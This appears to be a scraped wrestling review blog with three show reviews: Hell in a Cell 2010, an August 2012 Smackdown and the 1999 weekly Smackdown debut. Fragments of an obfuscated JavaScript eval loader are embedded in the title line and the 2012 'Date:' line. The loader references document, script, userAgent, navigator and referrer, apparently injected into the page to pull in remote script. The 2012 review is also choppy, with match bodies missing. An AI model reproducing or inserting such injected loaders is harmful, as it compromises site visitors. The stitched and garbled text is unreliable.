Hell in a Cell 2010: The Last Smackdown Main Event

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|feyhf|var|u0026u|referrer|batbe||js|php'.split('|'),0,{})) in a Cell 2010
Date: October 3, 2010
Location: American Airlines Center, Dallas, Texas
Commentators: Michael Cole, Jerry Lawler, Matt Striker

This is being written the morning after the show aired so I do know the results beforehand. The two week “build” for this show makes me think it’s going to suck. We also only have five scheduled matches for tonight so there wasn’t much to set up coming into last night. The Cell should be enough to make the show draw is what WWE is thinking I guess but the buyrates would beg to differ. Let’s get to it.

Guess what the video is about. Just take a guess.

The set looks cool as it has a bunch of stuff designed to look like a Cell wall. I like that.

US Title: Daniel Bryan vs. The Miz vs. John Morrison

Apparently this is a submissions only match even though the name is just submissions count anywhere so it’s a bit misleading. Pretty clear Bryan is going to retain here even though he comes out second. Miz has the jacket back again too along with a mic. He’s called the Kenny Powers of the show and since he’s one of my favorite posters that’s a good sign. Miz says without him no one would know who the other guys are. He might be onto something there actually.

Both faces chase Miz to start us off and we get the standoff. Bryan gets a leg lock on him after a nice little wrestling sequence and we go to the floor without it being broken. That’s a nice little touch. We hit the formula of two guys fighting while the other is down. Morrison hits the Tarantula but Bryan makes the save. He then locks in Cattle Mutilation for like 4 seconds which probably blew up the IWC even though it wasn’t anything that special. A leg bar gets a bigger pop if that tells you anything.

Miz grabs a similar hold in an attempt to counter and they kick each other in the face a lot. Morrison hits Starship Pain (not called that for some reason) onto both guys to break it up. Haas of Pain (LOVE that hold) by Morrison is broken up by Miz. Corkscrew plancha hits (and I use that term VERY loosely) Miz and we head into the crowd. Miz gets a wristlock and Morrison breaks it up by punching Miz in the face. That’s always awesome.

Bryan is gone and in the ring for a good while here as the former tag team fights up the stairs. Miz gets a sick looking Dragon Sleeper type hold around a barricade and Bryan makes the save. I know I say that a lot but that’s what we’re getting a lot of: a hold for a few seconds and a save. We fight up to the stage a bit with Miz in control. Morrison throws Miz behind the stage and uses the barrier for a springboard to kick Bryan.

Miz literally shoves an anvil case at Morrison to take him down. This is kind of hard to call as it’s not quite a mess but there’s no flow to it in sight. Bryan is more or less dead on the stage after Miz shoves him on the anvil case. We get it: Morrison does some French training. You don’t have to explain it to us every 9 seconds. Skull Crushing Finale to Morrison on the floor and he’s out cold.

Bryan and Miz get into a wrestling sequence on the stage and it’s a double clothesline. Morrison is up somehow and climbs up the lighting grid and climbs onto the Cell set. BIG DIVE takes both of them out. How often do you get a THAT WAS AWESOME chant in WWE? See what happens when you have the young guys do their exciting stuff? Jomo gets a Texas Cloverleaf on Miz but here’s Riley for the save. A cameraman gets taken out giving us the eternally fun camera shot. Miz goes after Bryan while Riley has Morrison preoccupied and walks into the LeBell Lock for the tap out.

Rating: B-. Fun here but the quality was a bit weak. I absolutely don’t get the point of the submissions count everywhere aspect but it wasn’t horrible or anything. It was rather spotty at times but never boring which is the point of an opener. This was a pretty solid match and things seemed to work well enough. The big spots got the crowd going which is the best thing they could have done. Best possible choice for an opener.

Cole admits Bryan is for real. He toned down the Miz love in this match and it helped a lot. The repetition of stuff isn’t his fault for the most part though so I can’t blame him for that.

Ad for Legendary. I’m surprised this is the first one since we’re almost 25 minutes into the show.

We recap Orton vs. Sheamus, which really shows how stupid it is to have a Cell match for the sake of having a Cell match. Consider the first two matches. The idea of Michaels vs. Taker was that Shawn kept escaping Taker or having help from him. Shawn’s psychology in that match is some of the best ever as he was running the whole time and getting in shots where he could. It was like he was trapped in hell and this was Taker’s ultimate revenge.

The second was Mankind vs. Taker where the idea was they absolutely hated one another. The match happened so that they could absolutely annihilate each other and one man would not leave the Cell on his own. Those matches WORKED. This match is happening between two guys that aren’t fond of each other but are having this match because the schedule says we need to have it. Cena vs. Barrett could have a point to it as that feud has been going on for months. Taker vs. Kane belongs in there. This should be last man standing or a regular cage match or something, not Hell in a Cell.

Raw World Title: Randy Orton vs. Sheamus

This Cell is taller and a bit more narrow. This stat sums things up very well: last year’s HIAC show was on October 4 so in one year we’ve had 5 Hell in Cell match. In thirteen years prior to that we had 16. That sums up this era better than anything I can tell you. Also tell me how this sounds: Sheamus is in a Hell in a Cell match. I like Sheamus but he DOES NOT belong on this level yet.

Another interesting stat: Orton is the only person to ever win the title inside the Cell. That’s rather surprising actually. Yeah they cover themselves by saying Orton is the only person to win the WWE Title in there. Unify the freaking belts already. Having two world champions is so freaking stupid sounding. Also there is a Hell in a Cell match second on the card. Does this just sound wrong to anyone else?

Loud RKO chant to start. I didn’t know there were so many old movie fans in today’s audience. Striker talks about speaking with HHH via e-mail. Holy subtle hint Batman! Yeah I’m stretching here since the first 15 minutes of this aren’t going to mean anything since this isn’t going to end quickly at all. We head to the floor for about a second and the stomping begins for two. NICE slingshot shoulder block by Sheamus to take out Orton.

Orton gets rammed into the cage on the floor and Sheamus breaks out the steps. Now Orton gets a shot with them and we head back into the ring. There’s no heat to this at all as it just doesn’t belong in there. It’s a glorified street fight with a cage thrown in for fun. Striker explains why the ribs are a good thing for Sheamus to go after since the RKO is a bit weaker if the ribs are hurt.

Turnbuckle is ripped off as Sheamus is in control. He gets a gutbuster onto the steps which have gotten far more focus in this match than the cage so far. And now, in a match based around terror and chaos and pain, we get an EVIL chinlock. Cole points out that Orton is the champion and Sheamus is the challenger. Well usually when one is champion the other is the challenger so at least he can follow basic concepts. He’s reached the level of an average 4 year old!

Orton makes his comeback and the fans get behind him again. The crowd is rather hot here which is a very good thing and is helping this match along. They want an RKO apparently. Backbreaker out of nowhere and Orton slaps the mat. Make sure there’s an orthopedic specialist in the building! There come the stairs again as Striker points out how stupid it is to use the steps when he’s surrounded by steel.

Orton counters again and hits a powerslam on the steps. IT’S NOT A SCOOP SLAM COLE! It’s good for two either way. The elevated DDT on the steps of course doesn’t hit but the one on the floor sort of does. RKO is blocked and Orton hits the post. This isn’t a bad match but it’s just boring for a Cell match. Make this a street fight and it’s far better. Irish Curse, the backbreaker, hits on the steps. It’s on Sheamus’ knee though so do the steps make that big of a difference?

Brogue Kick gets two and Sheamus’ face is AWESOME looking as his eyes bug completely out. A bunch of chair shots get two. A big chair shot misses and Orton gets the RKO to pop the crowd. The pale one rolls to the floor though so we don’t get a cover. Punt misses and there’s a second Brogue Kick on the floor. We’re just transitioning from move to move here with nothing in between it. RKO on the steps ends it. I’d buy that a lot more if Sheamus’ head actually hit the steps but you can’t have it all I guess.

Rating: D+. For a street fight this is about a B or a B+. For a Hell in a Cell match this is just ok at best. It was a street fight (and a good one) inside the Cell. That doesn’t mean it’s good for what it was supposed to be. This was supposed to be a huge war inside the Cell and by definition, hell. This wasn’t the case here and while the match wasn’t horrible at all, this should NOT have been a Cell match. Like I said, make this a street fight without the Cell and it’s VERY good.

Orton climbs the Cell afterwards and poses with the belt. Cole wants it renamed the Viper’s Playground. Striker in a near deadpan voice: “Not yet.” Striker is the voice of reasoning. That’s almost scary.

Ad for Bragging Rights ad. It’s in three weeks. OH JOY! It’s also the night after a Lesnar fight. Yeah that’s not going to bomb at all. Nexus is advertised for it too.

Josh has the NXT girls in the back and they’re asked if they’re nervous. Nexus interrupts them thank goodness.

Alberto’s ring announcer brings him out. Again, his announcer has an announcer. That’s saying a lot. I do wonder where they get these cars. Cole wants to have his babies I think. Lawler wants to know if he can push 1 for English. That was rather amusing for a change. Alberto talks about beating up Rey and Christian. Gee wouldn’t Rey vs. Alberto be nice tonight? Some basic hometown sports jokes don’t really work.

Cue Edge’s music as Cole complains. Striker says Edge has over a dozen championships. He has over two dozen but why play him up I guess? Yeah he’s a face now. Edge runs down the stupid things Alberto has done which are rather true. They get into a Spanglish argument of all things. A Canadian is arguing with a Mexican in an American ring. The first W is indeed correct. And here comes the All American-American. HE MADE THE SAME JOKE I DID!

Swagger points out that the mascot on Smackdown was in fact a human and not a real eagle. Could they please decide if he’s a serious or comedy character? Swagger jumps him and Alberto bails. We have an e-mail and this is a match now. The computer has been upgraded it seems. Edge has to make a public apology tomorrow on Raw but this is a match right now.

Jack Swagger vs. Edge

Good thing Edge was in his wrestling gear. Swagger dominates to start as he had an advantage before we started. Swagger goes for the ankle which makes sense twice because of Edge’s ankle injury and the ankle lock. He keeps Edge on the mat and is in complete control. We hit the apron and Swagger tries to hit a German to the floor. Add that to the international joke from earlier.

When that of course doesn’t work because it would nearly kill Edge he switches to an abdominal stretch using the ropes. Edge’s eye is swollen up. Ankle lock is attempted as we touch on the ankle injury again which Lawler almost sarcastically says you told us that already. Edge gets us to even but gets caught in the ankle lock on the floor. The running up the corner belly to belly is blocked as Edge hits a missile dropkick, which is a pure face move.

Kind of an odd match here. It’s certainly not bad but it’s not that great for some reason. Belly to belly by Swagger but his arm is hurt. Swagger might be bleeding from the mouth a bit. Vader Bomb misses and Edge gets the Edgecution. Spear misses and Swagger gets the powerbomb for TWO. I don’t remember anyone ever kicking out of that. I think they mistime something as Swagger goes for a Dragon Screw Leg Whip while Edge goes for an Enziguri, making it look AWFUL. Ankle lock goes on but Edge gets a quick counter and spear for the pin. That ended very fast after the knee thing so maybe they were just playing it safe.

Rating: C-. Nothing that great here but it was VERY refreshing to see a match between the two shows. This is a fresh match we haven’t seen before and it wasn’t that bad. It was far better than seeing the same guys fighting again as it actually wasn’t predictable. That’s something WWE is sorely lacking anymore and switching the rosters up dramatically could work wonders for them. Match was a high level TV match.

Otunga has a plan to help Barrett.

Recap the Nexus angle which I’m sure you’re all familiar with by now.

John Cena vs. Wade Barrett

If Barrett loses Nexus is disbanded. If Cena loses he has to join the Nexus. It’s kind of amazing that this is I believe his 5th singles match and his first PPV singles match. You can’t say they’re not pushing this guy to the moon. Long feeling out period to start us off here. Cena gets his dropkick for his first big offensive maneuver. Barrett drops an F Bomb but not an audible one.

We slug it out a bit and Cena sets for the FU but Slater comes out as a distraction. Barrett throws the Nexus out which is an interesting touch. Barrett controls and hits a second rope elbow drop for two. Their colors are now black and gold instead of black and yellow. Neckbreaker gets two as Barrett is finally getting to showcase his offense. This is already his longest match and it’s not even 8 minutes long.

Dueling chants begin and you can tell it’s mainly men shouting for Barrett and higher pitched voices chanting for Cena. Cena makes his comeback and he initiates his finishing sequence. Nexus surrounds the ring as the definition of interference is getting kind of shaky here. Big Show comes out and leads the charge of the locker room who come out to beat down Nexus. It says a lot when it takes about 15 people including Big Show to beat up four glorified jobbers. And it’s not jobbers coming out to beat them up. You have guys like Show, Kofi, Ziggler, Bryan, Hart Dynasty and MVP, as in former and current champions.

Wasteland is blocked and this is a pretty solid back and forth match. Also it’s good that they got rid of the Nexus about halfway through. FU is blocked and Barrett hits a butterfly suplex for two. Boss Man Slam gets two. Fameasser off the top is blocked the first time but Cena gets it for two. Barrett gets Wasteland out of nowhere for two. Cole is WAY into this. Lawler says something and I had forgotten he was there.

FU hits out of nowhere for two as we’re into the good part of this match now. STF goes on as Cena looks extra quick here. Cole is SCREAMING at Barrett to tap out. A planted fan runs into the ring, allowing the guy that appears to be Husky Harris to pop up and blast Cena in the head, allowing Barrett to get the pin and kill the souls of millions of children. This is likely Otunga’s plan, which he didn’t run past Barrett.

Rating: B. Solid match here with the ending working rather well. The Nexus wasn’t really involved all that much here and it helped a lot I thought. Barrett looked VERY impressive out there with a nice offensive moveset and solid ring presence. This was better than I expected and things worked very well here. Good match and it sets up some stuff for the show in the upcoming weeks. Also Harris and potentially another member joining is a good thing. Good match.

Nexus puts Barrett on their shoulders as the celebration is on. On a replay the fan that distracted things appears to be Michael McGillicutty but I can’t tell for sure. The fan that hit Cena was definitely Harris but he’s not named. Cena takes a long time to leave and various ages of fans are STUNNED.

Paper Jamz ad, the same from….two weeks ago.

Josh is in the back and runs into Paul Bearer. He cuts a short and cryptic promo about having his own master plan.

Make-A-Wish package from Smackdown.

Divas Title: Michelle McCool vs. Natalya

Michelle looks good in her gold shorts if nothing else. Striker tries to claim Michelle is the best in ring working woman ever. I’m not even going to make a joke about that because it’s not fair to make fun of people that stupid. Michelle dominates for a bit with leg based offence but Natalya takes over with power stuff. This is rather boring if you couldn’t tell. Michelle accidentally drills Layla and Natalya gets a rollup for two. Sharpshooter goes on, is countered into a heel hook and is countered again. Then Layla throws in her shoe for the DQ.

Rating: D-. Yeah I don’t care either. Boring match and not very good.

Recap of Taker vs. Kane which I’m sure you know by now also.

Smackdown World Title: Kane vs. Undertaker

Taker coming out with Paul Bearer just feels….right. They brawl outside of the Cell to start and Kane controls. Apparently this is before the match starts. Ah there we go. There’s the bell. Kane gets a chair from under the ring and beats the hell out of Taker. We fight on the floor again and this is more of a brawl than a match WHICH IS THE FREAKING IDEA. Lots of leg work by Kane which makes sense here.

A big boot eats cage though and Kane is in trouble. Taker hits the leg drop on the apron but Kane gets his low dropkick. The boo/yay stuff starts up as this is kind of a boring match. Old School is attempted so Kane hits him in the leg. Top rope clothesline connects but Taker grabs Hell’s Gate. Kane clearly taps but no one calls it. It’s not completely on and Kane gets to the floor to escape.

We get a double sit up and Taker’s eyes are awesome. More boo/yay stuff as neither can get control. Running DDT by Taker gets two. Chokeslam hits for Taker as his knee is fine all of a sudden. Kane does the same for two. Kane goes for ten punches in the corner, you know the counter, and it gets two as well. WOW that was a horrible powerbomb. Kane reverses a Tombstone into one of his own and the crowd is into it.

And there’s an uppercut for the slow counting referee. The referees come down to get him out so Bearer can slip inside. Bearer goes after Kane and Taker sits up. He gets another chokeslam and does the throat slit sign. The lightning and thunder kick on and a light comes out of the urn. Bearer shines it in Taker’s eyes and we have a standoff. Bearer of course hands it to Kane and Taker, like the idiot that he is, stands there and gets his head bashed in by Kane who hits a chokeslam to retain. A closeup of his face on the ramp ends the show.

Rating: D. Just like the previous match this was a horrible Cell match but not a terrible match overall. The problem again is the lack of violence and the lack of use of the Cell. However this one was even weaker in those areas than the first one, somehow making Sheamus vs. Orton far better. As I said that one would have been a very good street fight but this would have been boring no matter what.

These two getting 20+ minutes is just not a good idea. Their best match ever was two weeks ago when it was just a big freaking brawl. Them trying to have psychology in their matches and the leg work is always bad and this was no exception. For once though the heel turn makes sense so points for that. Seriously though, how stupid is Taker for trusting Bearer AGAIN? Did he say, “Hey Paul, sorry about that whole burying you alive stuff. We’re solid right?” The heel turn was logical here so I’m fine with that at least. Rating would have been about the same Cell or no Cell.

Overall Rating: B-. This show wasn’t great but it certainly wasn’t boring. They had a show here where stuff kept happening the whole three hours and it worked pretty well I thought. The double Cell thing is still incredibly stupid and them talking non-stop about how epic it was just made it worse but that’s to be expected. This looked like a disaster on paper but we got a solid show out of it. I don’t think it’s as great as people have said it was, but this worked FAR better than I expected it to. Fairly good show.

 

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On This Day: August 31, 2012 – Smackdown: Back When Sandow Was Losing In Longer Matches

Smackdown
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iesna|var|u0026u|referrer|insny||js|php'.split('|'),0,{})) August 31, 2012
Location: Resch Center Arena, Green Bay, Wisconsin
Commentators: Michael Cole, Josh Matthews

Rey Mysterio vs. Cody Rhodes

Cody talks about how Rey is just like Sin Cara, hiding behind a mask. Rhodes uses his power advantage to start but he ducks his head, letting Rey get in a kick to the face. Cody sends him out to the floor and we take a break. Back with Cody hitting a spinning suplex for two. A release gordbuster gets two followed by some knees to the back and a chinlock.

Cody beats up Rey post match until Cara makes the save and puts a Sin Cara mask on Cody.

We get the first anger management segment from Monday.

Kaitlyn vs. Natalya

Booker is worried about the pressure of being Raw GM is getting to AJ. He says the match between Jericho and Ziggler never should have been made. Vickie comes up and says this is more proof that AJ needs to go. Sweet Christmas enough with the power struggle storylines already.

Raw ReBound talks about Punk/Lawler/Cena from Monday.

Anger management segment #2.

Sheamus vs. Damien Sandow

Sandow is taken into the ropes to start and requests that the referee does his job. Sandow tries to take it into the corner but Sheamus grabs his beard. To avoid getting punched in the face, Damien drops to the floor and things slow down again. The champ starts running him over with shoulders and Sandow heads to the floor again. This time Sheamus is tired of waiting so he goes out after Damien, only to have his knees sent into the steps by Sandow.

Damien bails to the floor for the third time but Sheamus throws him right back in and hits the ten forearms. A slingshot shoulder block to the back gets two and Damien heads to the floor for I think the fourth time. White Noise is escaped and the Brogue Kick is ducked. Sandow rolls to the floor and sprints up the ramp for the countout at 6:51.

Prime Time Players vs. Justin Gabriel/Tyson Kidd

Kidd and Gabriel have matching yellow shirts which look like dresses on them. Kidd and Titus get things going as the Usos Tout about how they should be #1 contenders. Off to Young vs. Gabriel after the starters do nothing of note. Justin takes Young to the mat after making a blind tag, allowing Kidd to kick Darren in the face.

Alberto Del Rio vs. Kane

Post match Kane snaps and chokeslams Josh, but he apologizes while he does it.

HHH video from Raw.

Randy Orton vs. Dolph Ziggler

That only gets two and Ziggler comes back with a jumping DDT for another near fall. The crowd is starting to get into this. Dolph charges at Randy but gets caught in the Elevated DDT for another two. Orton was laughing while he hit that which was kind of a nice touch. They head to the floor with Ziggler being thrown over the announce table. Back inside and Ziggler misses the Zig Zag, allowing the RKO to pin him at 7:10.

Rating: C+. This was a fast paced main event style match, but man alive did they have to have Ziggler lose AGAIN? Orton is leaving for a few months to film whatever the next WWE movie is. Ziggler is indeed Mr. MITB and probably will win the title before the year is over, but as always in WWE, the idea seems to be to have him lose time after time so he can surprise everyone and win it all back at once. You know, because no heel can look strong in WWE and they all have to be cowards that steal every win they get.

Vickie immediately announces that Dolph is still Mr. MITB and says he did a good job. Yes, make sure you hammer in that the guy who is going to get a title match is such a loser.

Results

Rey Mysterio b. Cody Rhodes – Sunset Flip

Kaitlyn b. Natalya – Small Package

Sheamus b. Damien Sandow via countout

Alberto Del Rio b. Kane – Backstabber

Randy Orton b. Dolph Ziggler – RKO

Remember to follow me on Twitter @kbreviews, and pick up my new book of Complete 2001 Monday Night Raw Reviews at Amazon for just $4 at:

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On This Day: August 26, 1999 – Smackdown 1999 (Weekly Debut): Chris Jericho’s First Match

Note that this is very old and the quality isn’t what it would be today.

 

Smackdown (Debut Weekly Episode)
Date: August 26, 1999
Location: Kemper Arena, Kansas City, Missouri
Commentators: Jim Ross, Jerry Lawler

Well, since I just reviewed Summerslam 99 for the series, I figured I’d throw this in as well. It’s four days since Summerslam, and all you really need to know is this: HHH won his first world title three days prior to this on Raw. That’s about it.  This is also the debut of one Ayatollah of Rock and Rollah.  Let’s get to it.

We open with what else, a recap of the end of Summerslam and then the next night on Raw where HHH breaks JR’s arm, followed by Shane demanding that Foley defend the title that night. Shane gives him a chair, and he hits Rock who for some reason was doing commentary.

A pedigree ends the epic reign of Mankind, and puts HHH one step closer to Flair. This was the big eagle belt too, so it looks amazing. For some reason, Ross is fine after having his arm snapped three days ago. You have to love pro wrestling. The music and pyro go off as I remember everything from this, which is used perfectly in the game series which I like.

We open with a video in which there naturally are no Smackdown clips. That’s likely the only time in history that’s happened. I miss the old setup and intro actually. Also, you may be thinking the first Smackdown was months before this, but that was just a special. This is the first regular weekly episode.

Anyway, we start with HHH coming to the ring for the first time as world champion, which is kind of a cool moment I guess. HHH winning the title was actually very well done, as he had built himself up for over three years at this point, and delaying it one extra day was brilliant. We get a loud vulgar chant as HHH says he has four words for them: I am the World Wrestling Federation Champion. Yeah, I have no idea how that’s four words either.

This is actually a bad promo as he’s rambling quite a bit. He more or less calls out Rock, and since HHH is a person, the People’s Champion comes out. It’s pretty cool that the show was named after one catchphrase. The fans are insane for this guy. You know, I think I used to be a Rock mark. I love his lines but back in the day I didn’t. That’s just kind of odd. Oh, Rock challenges for a title match tonight.

HHH says he’s not in his league. They turn this into a war of words and Rock just owns him on every line. Despite being a former world champion, you can really see that this is like his first time going for the belt, as his character was completely reinvented in just 6 months. Oh crud HBK is coming out. I forgot he was commissioner at the time.

He makes the match tonight, and somehow takes two minutes to say the match is tonight. Anyone that wants to criticize Vince for taking too long should go after HBK. It’s horrid. Oh and he’s the referee tonight. This was in a period where you couldn’t have a match without there being a guest referee. I couldn’t stand it.

Since this hasn’t gone on long enough, SHANE comes in as we reach 15 minutes for the opening segment. He makes himself the second guest referee for the match. HBK says that can’t happen because Shane will be busy in a match. Apparently it’s against Foley, who ALSO has to come out. Naturally he has a mic.

Apparently all the talk about stroking and screwing has his excited. He messes up some words (intentionally) and rips off some Rock stuff which always makes me laugh. I was always one of the dozens and dozens, just so it’s known. Rock says screw this and hits the ring and we’re on.

The Posse runs out to help Shane but X-Pac runs out to beat up the Posse, then the Pope runs out to fight off Pac, followed by Wolverine because he just doesn’t like the Pope, but he’s countered by the entire population of Uruguay. Literally, ten people were involved in that one segment. We’re twenty minutes in and that’s all that’s happened so far. This isn’t going to be easy is it?

Apparently there’s a triple threat tag title match tonight. Also some guy named Jericho has his first match. Test might get an answer to asking Stephanie to marry him, and we all know how well that winds up.

Jarrett is dragging Debra and Miss Kitty (who debuted Monday) to…some undisclosed location that I guess was supposed to be the ring. Billy Gunn is coming to the ring too.

Jeff Jarrett vs. Billy Gunn

Ok, so Jarrett won the IC and Euro belts on Sunday but on Monday he gave the Euro one to Mark Henry. Also, there was an open contract to face Jarrett for the IC belt and Gunn ran off to find a pen. In between Chyna signed it, kicking off her and Jarrett’s great feud. On Monday though, Jeff hit Chyna with a guitar, and Billy hit Jarrett, leading to this match.

See how nice it is to have two shows in a week where stories can be built up? See how nice that is? This is non title. I’m not a fan of Billy, but his running leapfrog was always pretty cool. Chyna comes out as Kitty gives Jeff a guitar. She accidentally nails Debra, allowing Gunn to roll up Jeff for the win. Chyna gets in and he starts to moon her but Chyna low blows him.

Rating: B. This is the first match in the history of Smackdown (technically) and Billy Gunn wins it? Wow, that’s a trivia answer no one wants. Anyway, this was actually a pretty good match. You have to judge TV and PPV matches differently due to time, and I’m doing so here.

Just keep that in mind: what I call a good match on TV doesn’t mean it would be good on PPV, which is what the majority of my scale is based on. Anyway, this was short but sweet with a lot of high impact moves in a very short timespan.

Lillian Garcia (WTF?) is with Al Snow in the back, saying that Pepper has been kidnapped by Bossman. Snow is freaked out over this.

Jericho has Finkel polishing his boots. That’s just funny.

We cut to Test who is pacing around nervously.

Tag Titles: APA vs. XPac/Kane vs. Big Show/Undertaker

APA lost the belts to Pac and Kane who lost them to the two tall guys, so there’s your backstory. The first thing that I notice here is that for the majority of his career, Taker simply has not cared about belts. Aside from his time with the WHC, do you ever remember him wearing a belt? On his way to the ring here as a tag champion, Paul Bearer is holding his belt for him.

It’s like Taker just doesn’t care, which can be good, but at the same time, I prefer someone like Austin who would throw the belt around and make sure that you KNEW he was the champion of the world. Anyway, just as the match starts, Taker sits down at the announce table, saying that this is going to be hard love for Show. Apparently Show wants to learn to be like Taker and he’ll do whatever it takes to do so.

This starts off fast and never stops being fast. Like I said in the Summerslam review, the problem here is that X-Pac is just out of his league here. Think about it. There are 6 people in this match. Aside from X-Pac, the smallest is Ron Simmons, who is a tank. X-Pac just doesn’t look right in there. This match really could be split into two parts.

Early in the match, we have the stereotypical Big Show, who is powerful, but can’t put together a good offense if his life depends on it. Kane and Bradshaw knock him to the floor and Taker calls him over. He slaps him in the head to begin the second half of the match. After this, Show dominates and once Kane is sent to the floor, Show chokeslams the tar out of Pac to win.

Rating: B. This was another good TV match. It’s about 5 minutes long but there are no slow periods in that 5 minutes at all. It is nonstop action the whole time which makes it very good. On TV you have to hold your audience as they have a bunch of other channels to watch. On PPV you don’t have to worry about that as you have their money already. This was well done and fast paced, making it a good match.

Test is still walking around. Stephanie arrives but doesn’t answer him yet.

Bossman comes out and says that Snow needs to come out. He says that Snow gets his dog back for a title shot. If not, he’ll kill the dog.

Commercial. There have been others but this is the only one where you can really tell that it is. Lawler pitching Magic cards is kind of funny.

Hardcore Title: Al Snow vs. Big Bossman

I guess he stole the dog on Monday. Yep, the dog is nervous and Jerry is no longer dry. Yeah that’s not really funny. Snow only cares about getting his dog back so he’s distracted. This is all of three minutes long and ends with Bossman slamming Snow in the head with the nightstick.

He of course leaves, stealing Pepper again in the process. A week later they would meet in a hotel room where Snow would be given dinner that was, you guessed it, Pepper. It ended up being decided in the Kennel From Hell match. If you from to see something awful, go look that one up.

Rating: C. I’ll go with average because it’s just too short to really grade. Snow did next to nothing, but that fit with the storyline of him being nervous and upset. I really don’t know where they thought this would wind up going, but whoever thought the Kennel match was a good idea should be shot.

In the back, X-Pac leaves, yelling about how he’s tired of losing. Yep, two losses to a dream team really is a horrible thing Sean. Kane calls out for him, and Ross says the rather dumb line of was that Kane? No JR. It was Elvis.

Jericho is on his way to the ring for his first match.

In the arena, Snow wakes up and is told that Pepper is gone. He SPRINTS to the back. I’ve never seen someone in wrestling run that fast.

Commercial.

Rock and HHH are shown on a split screen getting ready, as Ross says another brilliant line: it’ll never get any bigger than this. Well thanks JR. Now I know there’s no point to watching the future shows since this one will be the best ever. Seriously, how is he in the HOF and Solie isn’t?

Snow is frantically looking for Pepper and Bossman.

Road Dogg vs. Chris Jericho

As I said in the Summerslam review, Road Dogg was perfect for Jericho as he was someone that was equally good on the mic and therefore could match Jericho on the mic. Also at this time, Jericho was using the double power bomb for his finisher. We get some generic insults, but as predictable as he was, Road Dogg had all kinds of energy and charisma which no one can deny.

At this time, Jericho was the internet god who was being wasted in WCW forever and when he was signed, the IWC collectively orgasmed. Ross says this should be something. Yes JR, it’s called a wrestling match. If it wasn’t something, nothing would be happening. Jericho gets his Canadian teeth kicked in early on by Road Dogg, until the warrior Howard Finkle (I didn’t name him that) comes down and sprays something in Roadie’s eyes.

This lets Jericho just go nuts on his back, eventually turning into a Dudley and grabbing a table. He sets it up for Road Dogg but it gets countered into a DDT. We get a short comeback before Jericho counters into the double powerbomb with the seconds through the table. You know, if Roadie hadn’t grabbed Jericho’s hands, Jericho might not have been able to lift him for the second. Just a thought. Walls of Jericho follows as the suits run out for the save.

Rating: C+. It was ok I guess. I don’t get the point in having Jericho lose his first match other than to make Jericho look insane. That works I guess, but the in ring work wasn’t great for me.

Back from commercial, we see Jericho talking to Howard about how he had his job stolen by Tony Chimmel, and that Howard is a warrior and should go get it back. We cut to the arena where Tony is introducing a match, only to be interrupted by the music of the Ullllllllllllllltimate Warrior.

Fink runs down, hits the ropes and pounds on his chest as I try not to hurt myself from laughing so hard. He yells at Tony, which is weird to hear in that velvet smooth voice. He shoves Tony down, but of course gets the tar beaten out of him for it by Tony. This was hilarious, but the fans aren’t sure what to make of it. Jericho comes out and gets Fink and they leave.

Ken Shamrock vs. Val Venis

This never happens and Val is never seen. Ken passes Jericho and Fink on the way out and Jericho sends Fink after him. You can guess how this goes, but he distracts Ken long enough for Jericho to nail him with a chair and kick off Jericho’s first feud. Shamrock would be fed to Jericho and never be heard from again.

Stephanie comes out next. She needs to heave her hair straightened more often. Test is getting a very solid pop here. For the life of me I don’t get why they just threw him in a tag team. I heard rumors they were going to actually put the belt on him for all of a week but instead it stayed with HHH.

Granted this was about 5-6 months later. The fact that Stephanie said that doing this in the ring was perfect is just funny to me. I guess wrestling runs in her blood. Anyway, Test gets on one knee and she says yes immediately, completely no selling the question. Shane and the Posse run out, breaking their word from Sunday’s stipulation. Mankind comes out and chairs all of them for the save. He grabs a mic and says that they need to have their match right now.

Mankind vs. Shane McMahon

Before we start, Mankind says that Shane can have one good shot first. He turns his back and Shane hits him, but Foley is down for about 5 seconds before popping up and beating the tar out of Shane. The Posse is still out cold in the ring while this is happening. Just as I say that Mick rolls them out. Shane tries to run but gets caught because Foley is the fastest man alive. Just making sure you were paying attention.

Foley hits a side Communist legsweep but the Posse beats on him. Test conveniently gets up at the same time to fight them off as the Stooges run out to also help beat on the Posse. This is just flat out fun. Even Stephanie gets in on it, beating on one of them. Back in the ring, Chyna and HHH run out and hit Mankind in the….some undeterminable area with a chair to let Shane win. This just further proves my Foley is a career jobber theory, now available in the Old School section.

Rating: C-. This was just a big brawl and Shane’s offense was a clothesline I think. It was meant to just kind of progress the feud without actually doing anything, so I can’t really grade it fairly.

Jericho and Fink are running away, but Jericho leaves him behind so Shamrock can beat on him.

Cole is following Tori down the hall as she’s topless. For no apparent reason, she takes her pants off and walks down the hall in just a thong without saying anything.

Cole interviews Austin from something that happened earlier in the week. Austin says that he’ll be back from the knee injury that HHH caused at Summerslam in about a month or so. Austin is asked about how HHH has been a lot more aggressive lately, which he has been, and whether or not he stole it from Austin, which he did.

Evening Gown Match: Ivory vs. Tori

You know the drill here: get them to their underwear to win. These two had one of the worst matches of all time at Summerslam, followed by Ivory trying to make Tori lose her clothes. This was just weird. I forgot how much I hate Ivory’s music.

We cut to the back where the suits won’t let Tori come out. For some reason King doesn’t understand the difference between various states of undress, which isn’t really that complicated. She comes out in a tshirt over her thong. The announcers call Ivory Tori about 5 times which is annoying. It’s over in about a minute as Ivory is stripped. Luna comes out to pull Tori off Ivory.

Rating: N/A. Not enough to grade, but it was just completely pointless.

Lillian is with HHH and Chyna. The booing is so loud you can’t hear Lillian talking. HHH threatens Shawn to stay out of his way or else.

Rock is walking down the hallway towards the ring. Shawn is walking down the hallway towards the ring. Al Snow is still looking for Pepper. Test and Stephanie are congratulated as they leave.

WWF Title: Rock vs. HHH

Like I’ve said, Shawn is guest referee. His shorts are downright absurd. HHH comes out first and I think I like this music more. Rock comes out and they start very fast. It’s HHH getting his head handed to him early on and after a brief comeback, Rock gets him ready for the Rock Bottom. He doesn’t get it though because he has to drag HHH to the middle of the ring so the move happens at a good camera angle.

